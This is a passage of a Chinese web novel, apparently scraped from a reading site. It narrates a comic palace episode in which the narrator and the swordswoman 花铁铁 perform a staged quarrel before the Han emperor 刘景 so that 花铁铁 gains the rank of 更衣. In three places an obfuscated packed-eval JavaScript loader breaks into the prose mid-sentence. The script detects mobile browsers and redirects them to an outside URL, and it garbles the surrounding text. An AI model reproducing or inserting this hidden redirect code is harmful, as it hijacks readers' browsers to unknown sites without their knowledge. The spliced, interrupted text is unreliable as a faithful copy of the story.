侵略感这么强又毫不设防的女子,且总是恰到好处的让人忍俊不禁,这份稚拙让人着迷沉醉……花铁铁这种女人,新鲜的很,带劲儿的很,勾~引人的很,男人没吃过见过,简直被吊足了胃口。 歪打正着,还真就叫花铁铁找到突破口了。 啧,她别是故意的吧?! 故意的又能怎样,她本就是江湖刺客出身,利用身体达成目的,本来就是合情合理的。而且刚才那般情形,就算是刻意为之,也只有她花铁铁这般性情的女子,才能做的那么自然而然,浑然天成。但凡换个人,怕不是疯了就是骚了。 既然如此,又何必计较是否故意?身子是人家自己的,人家想怎么样就怎么样? 我劝自己赶紧收起自己那见不得人的心思和劣根性,但就是抑制不住嫉妒,疯狂的想去诋毁……这一刻,我简直可怜可悲可恨可恶极了! 我收回心神,却道:都好一会儿了,刘景的心跳还特么是乱的! 该说不说,花铁铁还真是气运之女,昨个刘景才复又开荤,刚才还对元妻念念不忘,马上就来了个青春靓丽,可爱娇媚,虽然一身本事,但确确实实是个胸大无脑的笨蛋美人儿,而且是美若天仙的那种,关键还十分接地气儿。 哼,男人!但凡身子允许,心思就多。我费了多少心思,耗了多少内力,才给调理好的身子,是要便宜花铁铁了吗? 男人,哼,正人君子也是男人,这些个男人,都一个样!野性难驯的猫儿,都够他们迷糊一阵儿了,偏是个性子张扬路子野的天真无邪小老虎,多能勾起男人血脉贲张的征服欲啊。 连清心寡欲多年的刘景都躁动了,旁的那些个血气方刚的就更不用说了,这会儿哪个不是红着脸别着头躲着视线,却忍不住往花铁铁和我妹妹那边扫,或羞涩或隐忍或觉有趣憋笑的憨憨儿。 好气啊,可我有什么资格和理由呢?而且,我现在也是男人。好……好混乱啊! 哎,对啊,我现在是男人,我气什么?现场哪个男人是生气的呢?既如此,我就该和男人一样,该躁动的躁动,该理智的理智!就是不该生气嫉妒啊! 我得像一个正常贵族君子一样,对于花铁铁的美色,喜欢却不爱慕,欣赏却不沉迷,青睐却不贪婪。君子爱美,单纯干净,热望而无亵渎把玩之心。 快速调整心态,分析决断,我自然立即马上转变策略。 那边平安有些无奈地哄着花铁铁劝她,说天子在场叫她不要胡闹。花铁铁坐在地上不起来,认定平安要赶她走,伤心的不行。 我一边重新盘算,一边帮腔平安,扬声道:“你委屈什么?谁赶你走啦?我妹妹明明说的是送你走,送你走自有送你走的道理!你没发现你又丢人了吗?”我很护着妹妹的,语气里还是对花铁铁表露出了些许压制不住的嫌弃,其实我已经很努力了。 花铁铁像是忽然被我触发了痛脚一般,忽然愤怒地冲着我大叫:“丢人?我怕丢人吗?我早没脸了,我怕丢人啊?!” 平安没见过这样的花铁铁,吓得一哆嗦,像只小白兔一样缩着身子,赶紧跑回我们这边。我埋怨地瞪了一眼花铁铁,恨她把我妹妹吓到了。 花铁铁也没想到会惊吓到平安,顿时有些愧疚,低着头一边整理衣襟,一边小声嘟囔着起身:我花铁铁何曾叫人一而再再而三,三番五次的驱赶过?我是什么很贱的东西吗?你让我留我就留,你叫我滚我就得滚? 抹布使完了也得洗洗再用,也没有直接撇了的道理。哼,大汉天子又不是你一个人的,不是不叫我贴吗?就贴,越不叫我贴我越贴,我就不信我硬贴还贴不上! 她的胜负欲一向是最盛的,一旦被勾起来,不达目的死不罢休。 花铁铁知道她的嘟囔声,我听得见。或者说,她就是专门嘟囔给我听的,这是对我警示威胁,和最后的争取。 她见我又不接茬,便抬头剜了我一眼,我立即趁机意味深长的回了她一眼,好吧,你争取到我了。 花铁铁接触到我愿意的眼神,登时如同被电了一下,瞬间垂目。在别人眼里倒像是她偷着瞪我被我撞个正着,正心虚慌忙躲避我的视线,可其实是她不想让也不能让旁人看见她眼中的诧异和欣喜。 行走江湖,我们早有一套成熟的对视暗号,通过眉毛、眼睛和眼皮以及唇角的细微动作,甚至耳朵的轻微颤动频率,就能在人眼皮子底下,通风报信、暗通款曲。 花铁铁随后又一脸不认输 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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我身子一抖,窃窃私语道:“坏啦坏啦,刚才应该忍住的,这下叫这个大虎叉逮到把柄了!” 刘景闻言忍不住哼哼一笑,大手捏了捏我的小手,却不发一眼,大有看我接下来如何接招的意味,我能如何啊,实在不行耍赖呗。 “别呀,你别大人不记小人过啊?我出手害你,你跟我结仇,结怨,结恨,就是别跟我结交情!算我求你!”我满脸为难,一副实在不想认识花铁铁,再跟她有半分瓜葛的样子。 “在下大宗山花铁铁!”花铁铁压迫感满满地重复道。 我仰头看了看不动声色的刘景,又斜了一眼郑重其事的花铁铁,十分犹豫的样子,迟迟不语。平安在我身后轻轻推了推我,我扭了扭肩膀表示自己的不情愿。 刘景轻轻咳了咳,我知道我不能再叫上位者等着了,可是真是好笑,弄到最后,我倒被架上,这算怎么回事儿啊,还能是怎么回事儿啊?上位者想叫花铁铁回来呗! 终于在花铁铁再次逼迫下达最后通牒之前,我拱了拱手,胡乱行了一礼,生无可恋地屈服道:“小香峰长安。” 26. 斩喽 余光扫过刘景,见他勾了勾唇角,很是满意这出大团圆的戏份,觉得我甚是懂事儿,对我们丝毫没有怀疑,我悬着的心稍稍放下。 虽然知道我和花铁铁隐秘至极,刘景一定看不出端倪,但在天子眼皮子底下搞事情,到底还是会做贼心虚。意识到这种情绪,我赶紧警示自己打起精神,不能露怯,毕竟接下来的戏才是真正的太岁头上动土。 我得赶紧调整,我可以人戏合一,但不能入戏太深,我要保持好心态,稳定好心绪,我可以演得很被他左右,但不能真的被他左右。所有的一切努力,都是在为了让我能很好的拿捏上位者。我可不能忘记初心,我需要保持清醒。 在众人看看来,我是被逼无奈才和花铁铁和好的,那么以我的性格,是不可能轻易服软就此放过,自然要给花铁铁拿乔,我要与她约法三章。 花铁铁可不是个傻的,根本不接我这茬,我才一开口,几步外的她眼睛一转,忽然跪在地上,朝着刘景膝行过来。眼疾手快的李远和李档父子左右各展一臂阻挡。 花铁铁只怪裙子太累赘,之前也不知道以后用到膝行的地方这么多,她事先没练过,忽然被拦,一个不稳,差点又摔趴下,干脆双手扒在那父子二人手臂上,大咧咧还有些不好意思地样子,对着刘景试探道:“陛下陛下,我有个事儿能和你商量下不?” “斩了。”我将狗仗人势发挥到极致,大有你可落我手里的快感,吆喝道。这一嗓子把刘景身后的老黄门喊得一惊,觉得我简直天生是做宦官的料,这腔调这架势这气质,无师自通啊。 “我又怎么啦?”花铁铁一脸不服,疑惑和又被我针对的委屈,向我抗议。 “殿前失仪。” “我这不跪着呢嘛?” “差点摔倒。” “不是没摔成吗?” “言语无状。” “我语气温婉!” “用词不尊!” 平安半捂着嘴,小声提醒花铁提醒:“铁铁,有事要跟陛下启奏,禀报,不能商量的。” “意思是想说啥直接报是吧?”花铁铁转了转眼睛思考了一下,向平安确认,然后指了指腰杆,行礼启奏道:“我……” “斩喽!”花铁铁一个“我”字才出口,就再次被我朗声打断。 “又怎么了?!我还啥也没说呢。”花铁铁有些恼火,“你不要太过分!” 过分又怎样?我这般斥责你,刁难你,欺负你,你看上位者有动静吗?既然这样,那我可得抓住机会好好过分一下,啊哈哈哈…… 心中正想着,话头就稍慢了一步,平安已经赶在我发生声前,两步上前蹲下身子,附在花铁铁耳边道:“帝王之前,不能自称我……” 我不想平安胳膊肘往外拐,总帮着花铁铁,不等她把话说完就把她拽回来,满脸的不乐意,叫她老实在我身后站着,不要多管闲事儿。平安看了看我,又看了看花铁铁,还想争辩,被我拉着她的小手捏了一下,感觉到现下众人的目光都集中在她身上,顿时压力陡增,于是缩了缩身子,退到一边,尽量不再引人注意。 “哦,戏文里我都见过。”花铁铁倒是一脸恍然大悟,给平安一个了然的表情,接着学戏台上大臣的样子,对刘景行礼道:“启奏陛下,微臣……” 我眉头一横,再次打断花铁铁:“你算什么微臣?你连个大汉的户籍都没有,连个良家子都不是,顶多……是个氓流。”氓流就是无房无地没钱没户籍的人。 花铁铁咬了咬牙,不屑于我争执,干脆对我视而不见,但还是受到了我的影响,一时间竟找不清自己的身份用词:“……草民贱民……民妇贱妇……臣妾……” 我再次朗声道:“臣妾?!僭越!斩了斩了,你是娘娘啊,你敢自称臣妾……” “妾妾妾贱妾?贱内?嘶,贱贱贱……”花铁铁少有的慌了心神,脑子越发混乱起来,嘴上直念叨贱贱,却怎么也贱不出来。 “贱人!”能抓住花铁铁的把柄,我内心大喜过望,扬声道:“哪来的贱人,跑这来组烂词来了?快,拉下去斩呜……”跟着众人一起憋着笑的长安,一把将我的嘴巴捂住,她可不想我跟花铁铁刚和好就又闹翻。 花铁铁见我如此捣乱,没好气地剜了我一眼,然后问平安:“哎,我这种得自称什么?” “民女。”平安莞尔一笑,温柔回答。 “哦哦哦,民女民女。”花铁铁醍醐灌顶的重复了两句,“陛下民女有本启奏。” “你有个屁本,你启奏个屁!”我扒开平安的手,抢着道:“大臣启奏才有本。” 这时刘景才终于发话,宠溺地拍了拍我的小脑袋,和蔼道:“哎,长安不得插嘴,花卿但说无妨。”这空档,太子命人将皇帝御辇抬过来,请刘景上辇休息。刘景精神头很足,不想上辇,只轻轻挥了挥手。 花铁铁白了我一眼,“嗯”了一声,准备说她想说的事情,却忽然想起什么,眼睛一亮道:“哎,陛下别叫我花卿啊,显得多见外啊,那戏文里皇帝都叫自己喜欢的臣下爱卿,陛下唤我花爱卿,花爱卿多好听啊。” “呸,不要点死脸。”我将平安捂在我嘴巴上的手拿开,“爱卿是对臣子的爱称,你就是一个民女,叫你花卿都抬举,还爱卿,你不配!”说完又将平安的手捂回去。 刘景呵呵笑了笑,一边像抚摸小狗一样抚着我,示意我不可再多嘴,一边平易近人地应下花铁铁的请求,道:“好好好,花爱卿有什么要说的,且慢慢说来。” “好好好,我慢慢说给你听哈。”花铁铁点头如捣蒜,喜出望外,说着从李远李档的手臂底下钻过来,提着裙摆,膝行到刘景身边,拉着他另一只手,仰头讨好正欲说话。 我不乐意了,满脸嫉妒的要死的样子,环抱着刘景的腰,撅着屁股硬往花铁铁和刘景中间挤,企图把花铁铁挤开,一边用小腚抵着花铁铁,一边嘤嘤着:你走开,走开,陛下是我的,我的,你滚,你滚,你不要跟我抢…… “哎,哎?耍无赖是吧,是不是耍无赖!?”花铁铁左推右推推不走我,就在我撅得老高的屁股上呼了一巴掌,低声威胁道:“赶紧给我起开哈,别耽误我有本启奏,不然我扒你裤子,叫你光眼子。我数到三啊,三!” 闻言我顿了一下,听到那声“三”更是一个激灵,瞬间把屁股转到另一边,却依旧宣誓主权一般搂着刘景的腰不松手。“一,二,被你吃啦!大虎叉!” 刘景被我们二人逗得哈哈大笑,只觉是小儿女闹着玩,有趣儿的紧。回头对太子道:“你兄弟几个小时候,也这般闹着抢爹爹。”说完眼里一丝伤感,脸上的笑容也不着痕迹的僵了一下,他说的兄弟几个是指元皇后生的三子一女。 他应该是又想起那个早夭的大女儿了,怕是那个大女儿也曾经这般跟哥哥弟弟抢爹爹,说不准抢得更凶。刘景按下那丝苦涩,笑呵呵地一手将我揽在怀里,一手牵起地上的花铁铁,深深看了看我,又深深看了看花铁铁,仿佛透过我们在看另一个人的幼年和成年。 花铁铁一点也没察觉刘景的异样,只因刘景亲昵的举 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花铁铁眼中闪过失望,却不敢表露出来,只道:“嗯,将军……眼下那肯定是不现实,我呢我也不贪心,就随随便便一个身份,能在您身边待着,长安赶不走我就行。” “你想当将军?”刘景呵呵笑着,捋了捋美髯,若有所思。 “嗯!”花铁铁重重的点点头。 “陛下……”我忍不住开口。 花铁铁伸手过来推了我一下,“怎么啦,我又不是没那个本事?”花铁铁眼中带有威胁地瞪着我,嘴上却不停下:“人都说不想当将军的士兵不是好士兵,陛下,你的花爱卿我可是花家将的后人,我心怀凌云之志,誓要收服河西之地,为大汉立汗马之功,注定也是一代名将。陛下,你给我支军队,恢复花家军建制,我可以立即挥师西征。”花铁铁信誓旦旦。 刘景的心跳很平静,花铁铁的主张并没有引起丝毫波澜,果然帝王坚定的心,不是三言两语就能够打动的。 嘴上说着要收服河西,要效忠大汉,其实就是想牵着天子的鼻子,拿捏天子的权柄为己所用,实现自身的人生价值和理想,古来君臣皆如此,聪明不过天子,这个道理刘景能弄不清吗?若是花铁铁是个男子,君臣勠力同心,相互成就,未尝不可,可偏偏花铁铁是个女子,这一番心思,等同小麻雀在太岁头上动土,无异于蚍蜉撼树,痴心妄想。 女子,女子的身份是花铁铁唯一的限制,就算她有那如天大的本事,刘景也只觉得她是一个小女子,什么雄心壮志,什么想做将军,不过儿戏之言尔。 扫了一圈那些身份尊贵的男人,也都一副样子:一个女子,仗着有点功夫,就疯语扬言要收服河西,简直可笑!这等军国大事,意义重大,关乎政治,上位者怎会让身为女子的花铁铁牵涉其中呢?别说是花家后人,就算是花家将也不行,女子就是女子。 眼见刘景温文浅笑,面色如常,我却敏锐的本能的预感不妙:不行,上位者金口玉言,言出法随,只要一张嘴就板上钉钉了,那样我们就一点机会都没有了。 就算要推拒,我也不能让刘景亲口推拒,我来! 我压着刘景开口的那一刻,不卑不亢的对上花铁铁警示的眼睛,眼皮抽了抽,小嘴叭叭地抢着反驳:“呦呦呦,仗是你想打就打的,军队是你想要就给的?不花银子不要钱啊?这算盘打的,算盘珠子都蹦飞啦,端着我们大汉的碗,吃着我们大汉的粮,恢复你老唐花家军的建制,你挥师去建功立业,打赢了还得给你赏赐,打输了你有什么损失?空手套白狼还挑这么大个儿的套?你想得可比你长得还美啊。” 27. 更衣 我明白的道理,花铁铁自然也懂。她认真解读我的眼色,会意我的眼神,一边听着我的话语一边若有所思,直到最后听到她喜欢的字眼,旋即心情大好的样子,蹙着的眉头瞬间展开,得意地扬了扬头,一手依旧紧紧抱着刘景,一手捋着胸前的一缕长发,娇俏道:“啧,想夸我长得好看直说嘛,明人不做暗事,别拐着弯的嫉妒我的美色,正大光明的不行吗?” 我们一边说着,一边继续散步。我和花铁铁一左一右扶着刘景,暗暗较劲儿的样子,谁也不肯松手,刘景生性温和良善,对我们又颇为宠信,并未抗拒。 “……”花铁铁这是没想到对策,直接把难题退回给我了,不给力的东西,我帮忙都使不上劲儿,这虎叉啥也不是。我哼了一声,黑着脸硬拉话题:“我们大汉的军队都是有严格规制的,没有多余的军队给你用,我们大汉军队的你就别想了,想当将军想重建花家军,可以啊,你要是有本事自己招兵买马,组建军队,到时候咱们天子也不是不能朱笔御批,赐你建制,对吧陛下。” 虎叉,你可别忘了,这才是咱们的正事儿!我眉眼一敛。 “一言为定。”花铁铁对上我的眼神,赶紧满口答应,将此事一锤定音,尘埃落定。然后妩媚动人地摇着刘景的胳膊,撒娇道:“可是陛下,在那之前,你得先给我个小小的身份做依仗。陛下,你后宫还缺人吗?” 我立即警觉,大声斥问:“你问这个干什么,大虎叉,你要干什么?你又打什么主意?你不是要带兵打仗征战沙场吗?后宫缺不缺人跟你有什么关系,这幅狐媚样子,你别是打了我们陛下床榻的主意,要在我们陛下床上征战四方吧!不要脸,不要点死脸!” “打了打了就打了,我就不要点死脸了怎么啦!就算我打陛下主意了又怎么啦?我和陛下郎才女貌,登对得很。”花铁铁跟我吆喝完,接着美眸一转,满是炙热,深深望着刘景,直白道:“陛下咱俩好吧,我给你生猴子。” 呸呸呸,真是太不要脸了,戏过了吧大姐! “打入冷宫打入冷宫,快打入冷宫。”我完全炸了,什么跟什么啊就要跟人刘景好,还给人生猴子?我点你一下,是叫你到此为止,不是叫你更上一层。 我头疼死了,这个虎叉完全不按常理出招,大姐,你是我亲大姐,求求你不要再乱加剧情了好不好,我感觉我真的要爆了,真的好怀念我跟李大娘子当初打配合的日子。 以前和花铁铁一起做任务我就吃过好几次亏,后来我说什么都不愿再跟她打配合了,这虎叉总是想一出是一出,从来没有固定剧本,如今更是没个章法,这个是天子眼皮子底下,咱能收这点嘛? 我几次三番的死命往回拽,不仅没拉住她狂狷地跑偏,她反而变本加厉,越跑越偏。如果这是考验,我已经烤焦了,透酥了,好无语,心好累,干脆就此打入冷宫让她自生自灭去吧。 “长安,你不要太过分啊!”花铁铁还来气了,抬起大长腿,从刘景的身后踢我屁股。 我被花铁铁踢得朝前一撅,哼了一声,咬牙回道:“我可没过分,这是宫规,娘娘犯了错都得去冷宫待着。” “哎,娘娘?”花铁铁怔了一下,一脸大人不记小人过的神情,仿佛在说:看在你叫我娘娘的份儿上,就不跟你计较把我打入冷宫这茬事儿了。 她其实是顾不上找我麻烦,只心猿意马的样子,一缕青丝反复在指尖缠绕,想入非非地嘀咕着:“娘娘?也不是不能当当看……”然后心花怒放红着脸,低头抵在刘景肩上,抑制不住的窃喜。 我真是小刀剌屁股,开了眼了,大虎叉居然还有这等小儿女的扭捏之态! 刘景不自在的躲了躲,花铁铁浑然不觉,抱得更紧了些,她力大如牛,刘景根本抽不开胳膊。 忽然花铁铁想起什么,惊醒地伸头看着我冷声道:“哎?凭什么把我打入冷宫?喂!我还什么都没干呢?我犯什么错了我,就打入冷宫!?”花铁铁完全接受不了自己的娘娘梦还没开始,就碎在冷宫。 花铁铁一惊一乍吓得刘景一哆嗦,她于是很抱歉地抚了抚刘景的心口,温柔和善道:“陛下别怕,啊。”随即像一只温顺可爱的小老虎一般,往刘景怀里拱了拱。刘景僵着身子,尴尬不已的呵呵笑着,轻声咳了咳。 见不得花铁铁那副死样子,我直翻白眼:“太阳还没下山呢你做什么春秋大梦,呵,就你也配当娘娘?你只配住冷宫,别的娘娘跟陛下一块生的都是龙子,就你生猴子,那肯定不是陛下的种,这么大罪,陛下,要不咱给她直接赐死吧,别手下留情了。”不想去冷宫,这下连冷宫也没得去了。 前头是逐月轩,我们缓缓以此步入。对我的提议,刘景不置可否,只觉好笑,抖肩膀头呵呵乐。后面众人也都努力压着嘴角。 “猴子?我说的不是孩子吗?”花铁铁愣了一下,一边同我扶刘景入座,一边继续说道:“那我可能是一时激动说岔劈了。陛下陛下,你给我个身份吧,不用非得是个娘娘,就……随便一个什么身份,只要先让我名正言顺留在大汉留在你身边儿就行。女官,宫女,什么都行。先洗白一下我以前的身份,以后做了将军,也好有个像样的出身,总不好挂着南唐江湖游女的名头,别扭起来,花家后人的身份也压不住。” 刘景哈哈一笑,叫花铁铁稍安勿躁,让她和我坐在他身边的小凳上,然后再无下文,只若有所思地端起茶杯喝起茶来。 花铁铁那一番说辞漏洞百出,根本经不起细究,她是南唐游侠的事儿,这辈子翻不过去,刘景很清楚,将军不将军的另说,花铁铁确实是个人才,是要收服留用的,有个像样的身份很有必要。 逐月轩外一抹斜阳,黄昏时刻,花园里景色宜人,天水一色,金灿灿的晚霞将草木亭台镀了一层光晕,与天上的火烧云,交相辉映。刘景向一边的黄门打听汉庭宫女序位、品阶,一边刮着茶杯里的茶沫,有些走神似的细细斟酌品阶。 刘景竟这般认真地当成正事来办,还想给花铁铁品阶,那可不行,身份可以有,品阶不能行,一旦定了品阶,花铁铁就真成了宫中人了,那就不好办了,我可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467937|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能让此事落定。 我赶紧插嘴道:“陛下,按照后宫品阶,花铁铁堪为‘更衣’一职。”说完我看了花铁铁一眼,眉尾一扬。 “更衣?”刘景觉得更衣这个身份实在太低微了,很是犹豫的样子。 “更衣好更衣好,以后陛下更衣都是我来伺候,我愿意,我喜欢。”花铁铁满脸担忧急迫,以为刘景迟疑,是不愿意给她这个身份,抢先一步坐实,赶紧认领,然后也不管刘景同意与否,认定自己更衣的身份,得意地对着我吐了吐舌头显摆:“略略略,我现在是天子的更衣啦,以后请叫我花更衣。” 我起身叉腰,得逞地笑着道:“哈哈,你美什么?还以为自己捡到宝了吧,后宫等级共有正品从品二十个等级,更衣是最末,连品都没有,刚才公公报序位品阶都没好意思提,哼!” “那你还给陛下提议?”花铁铁这才回过味儿来,原来刚才刘景迟疑,是因为“更衣”是最末位最低等,他不好意思。“哼,我胭脂虎向来是说出来的话,泼出去的水,你这个小王八蛋,明知道我不懂,就故意坑我,我花更衣认了,哼……活该不长个,浑身上下八百个心眼子,该!”花铁铁简直要把牙咬碎了。 “你浑身上下八百个屁·眼子!”我此言一出,逐月轩一阵喝茶被呛到的咳嗽声,坐得近的太子尤为严重。 “那你还不是对我羡慕嫉妒恨,略略略。”花铁铁挺了挺胸膛,直了直腰杆,看起来身姿绰约更加出挑。花铁铁瞥了我一眼,转头对刘景温柔道:“陛下你热吧?你冷吧,咱们去内间更衣?” 刘景赶忙推拒,给花铁铁赏赐茶点,让她安心享用。 有好吃的!我屁股不离凳子,搬着凳子挪到花铁铁身边坐下,一边吃着皇帝赏赐给她的茶点,一边道:“你只是叫更衣,你不负责给陛下更衣,你位份太卑贱,根本不够格碰陛下。” “够不够格无所谓,反正你赶不走我啦,略略略,再也赶不走喽?”花铁铁抢过我手里的糕点,毫不嫌弃一口吞下,然后扬眉吐气地样子,拍了拍手上的糕点屑。 盘子里这么多点心,为什么要抢我嘴边的,这分明就是“虎口夺食”,分明就是在示威:就算我叼在嘴里的,只要她花铁铁想要,就一定能吃得着。 我黑着脸,瞪着她,久久不语。 花铁铁刚跟我和好,不想再把我惹毛了,赶紧拿了一块糕点,送到我嘴边,见我不吃,便道:“哎呦,你干什么这幅样子,我又没要独占陛下,你这么敌对我干什么,我可不是什么小气的人,动不动就这个是我的,那个是我的,还拿小腚撅人。” 这虎叉,还敢映射我!? 花铁铁说着放下糕点,牵起我走在刘景身边,一左一右坐下,没错,就是坐下,在天子左右坐下!!! 我擦,这个虎叉又要干什么?她这是人类该有的行为吗?我聪明的脑袋瓜子怎么在她这里完全失灵了呢?已经拿到身份了,今天的戏份儿都结束啦,老老实实吃些茶点不行吗? 我的天爷啊,花铁铁,你又要闹哪出?! 28. 护短 我哪里敢和天子平起平坐,我赶紧起身,就像屁股被烫了一样,几乎是弹起来的。 已经在刘景另一侧坐好的花铁铁见状以为我拘摆,便像在自己家待客一样,让我别客气随便坐,过来又将我按下。我再次弹立而起,反复几次花铁铁便也不在强求。 凤眸微眯,唇角勾笑,心怀慈悲的刘景,犹如上界神明一般睥睨天下,对大地爱得深沉,对这世间鲜活的生灵,充满喜欢和好奇。 花铁铁坐回刘景身边,把他端在手里的茶杯拿过来放下,将他的一只手放在我的小手上,我赶紧双手捧起,她自己则抱起刘景另一只胳膊,旁若无人地在我震惊不已惊掉下巴地注视下,说道:“你看,陛下一只手‘牵’着你,一只手‘抱’着我,左拥右抱多好啊,嗯……那个,戏文里不也说这后宫就得雨露均沾嘛,你跟在陛下身边比我久,我敬你是个老人儿,你也得容得下我,分我一点雨露不是?要不然可别怪我是砌墙的砖,后来居上,独占鳌头?” 逐月轩中格外安静,只有花铁铁语不惊人死不休的高谈阔论。几句话说得三分商量,三分示好,四分威胁。古往今来,谁敢这么在天子面前说话?!刘景神色明明没有什么转变,但“独占鳌头”四个字一出,所有人都能感觉他周身的气息都变了,列坐众人瞠目结舌,不敢动作,生怕上位尊者震怒,牵连自己。 我恭恭敬敬地捧着刘景的大手,小心探测着天子的脉搏,卑躬地低着头,余光将他的神色尽收眼底。 平安只觉心惊胆战,捂着嘴巴瑟瑟发抖,不敢发出声响,却还是脚下一软,差点瘫倒,不由地“啊!”了一声。 花铁铁似乎对刘景眼底一闪而过的冷意浑然未觉,只循声朝平安看了过去,“嗯?平安你怎么啦,这么大反应?哦,差点把你忘了,来来来,嗯……”花铁铁一手紧紧抱着刘景,勾了勾另一只手,招呼平安过来。 只见她一边说着一边用眼睛上下踅摸刘景的圣体,最后给平安找了个好归宿一般,满意道:“这条大腿给你吧,来啊来,来,过来吧你!” 花铁铁见平安迟迟不肯上前,就干脆起身拉平安过来,平安努力摇着头便是婉拒,身子往后使劲儿撤着,一只胳膊环着轩中的立柱,坚决不从,却跟本抵不住花铁铁的力气。 “啧,这可是天子大腿,不是谁都能抱上的,来来来,抱上抱上,好好抱上,抱住了,啊。”花铁铁把平安摆弄好,开心满意地在她肩头轻轻拍了拍按了按,嘱托道。 弱小的平安被花铁铁安排得明明白白的,僵硬地抱着刘景的大腿,整个人都要抖成筛子了,脸色惨白,红红的眼睛里噙满泪水,像一只可怜又可爱的小白兔。什么是我见犹怜,我妹妹这样的才是。 刘景是一个很能忍的帝王,一般不会轻易发火,刚才微有不悦,也许仅仅是对花铁铁的言行冒失感觉不适,这会儿看到这幅场景,刘景却忽然一扫不快,心情犹如拈花一般,嘴角的笑意渐渐升腾,眸底尽是温柔。 刘景右手紧紧被花铁铁抱着,便用捧在我手心里的左手,轻轻拍了拍平安头顶浓密的发髻,对平安甚是怜惜地低声安抚道:“别怕。”然后又将左手放回我手上。看到平安松了口气的样子,安心沉下紧张的肩膀,刘景温和一笑。 男人果然至死是少年,就算天子也不例外,若论好奇心、玩心,刘景不比年轻人少一点儿,自从当了皇帝,他几乎从未这般兴致大起,这会儿不动声色,就是想看看这个花铁铁到底还能怎样。 花铁铁顺着说道:“对嘛,别怕,咱们都雨露均沾!”此言一出,平安又吓得一个激灵,僵硬起来。 我心疼不已,赶紧扶妹妹起来,让她退下,没好气地对花铁铁道:“你到底懂不懂?我妹妹不是怪罪你没给她分一杯羹,她是被你的虎狼之词吓到了好吧。” “什么虎狼之词,都是肺腑之言!”花铁铁怼完我,转而对着平安柔声道:“哎,平安,这可是天子的大腿啊,不是谁想抱就能抱的,机不可失时不再来哈,别说有好机会我没带上你哈。”说完,又侧头对着刘景莞尔一笑,扭着身子钻进他的臂弯里,小鸟依人地偎在刘景怀里,忽然她颤动精致的鼻翼嗅了嗅,仰头深情款款地看着刘景,甜软娇羞道:“陛下好香啊,陛下用的什么香,啊……” 我真是再也受不了一点儿,三步跨做两步上前,扯着花铁铁的后脖颈子,稍一用力就给她扔出逐月轩。 平安美目圆睁捂着嘴巴倒吸凉气,忙跑到窗边去看,左顾右盼,却连花铁铁的半个影子都没看到,不安地喊着:“铁铁,铁铁,花铁铁,你摔到哪里去了,摔坏了吗?你在哪儿啊,应我一声。”又回头紧张不已地道:“长安,铁铁不见了。” 众人也都纷纷起身查看,连刘景也伸头侧目,我却没事人一样,坐回小凳上,吃着茶点,随意指了指逐月轩的屋顶,道:“上房揭瓦去了。” 平安闻言,将信将疑跑出逐月轩,果然看见花铁铁骑坐在屋脊上,正看着西面的天空痴痴发呆。 堂邑夫和柳花郎原本就没有进逐月轩的资格,和皇家尉卫们守在外面,这会儿跟着平安一起仰头往上看。 花铁铁上了房,尉卫们顿时戒备起来,没有接到上级的指示,尉卫长李档示意尉卫们不必警卫,继续站岗。 “铁铁,你要不要紧?”平安双手在嘴边做喇叭状,对着屋顶的花铁铁高声问。 花铁铁回过神来,哈哈笑道说没事。随即她从腰间抽出软鞭,挥手一甩,软鞭登时缠在平安不盈一握的小蛮腰上,稍稍用力,便将惊呼着的平安拉上屋顶,花铁铁一把拦住平安,将软鞭收回腰间,动作干净利落。 一连串的动作,发生在恍惚间,站在这么高的地方,平安吓得紧紧缩在花铁铁怀里直嘤嘤,花铁铁霸道帅气的像个男子一般,食指放在平安樱桃小口上,示意平安不要发出声响,然后指了指天边。 “哇,是粉色的天空,好美啊,怎么会有粉色的天空啊,我第一次看到这么美的天空呢。天哪,这颜色也太美了吧,好想裁下一段做裙子……”平安沉醉不已,温柔呢喃。 我只顾着吃点心,才不管什么粉色的天空。倒是其他人,不少伸着脖子往外看的,可是西边的天空被高高的宫墙,层层叠叠的殿阁遮挡着,他们除了落日余晖什么也看不到。有些人虽然尊贵,常伴上位者左右,可一辈子不得自由,一生都不敢有半分逾矩和差池,所以有些美好的风景本来就是他们注定看不到的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475581|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 梦幻般的景色总是稍纵即逝,随着霞光的落幕,宫里就掌起灯来。忽有一批政务奏章从太后的长秋宫,急送过来,皇帝刘景和太子一众立时繁忙起来,晚膳也便安排在了逐月轩。 我们几个闲散人员,坐在逐月轩西侧花厅外面的台阶上,看着灯火通明的逐月轩拉闲呱。 平安问花铁铁,在陛下面前这么放肆,不怕吗? 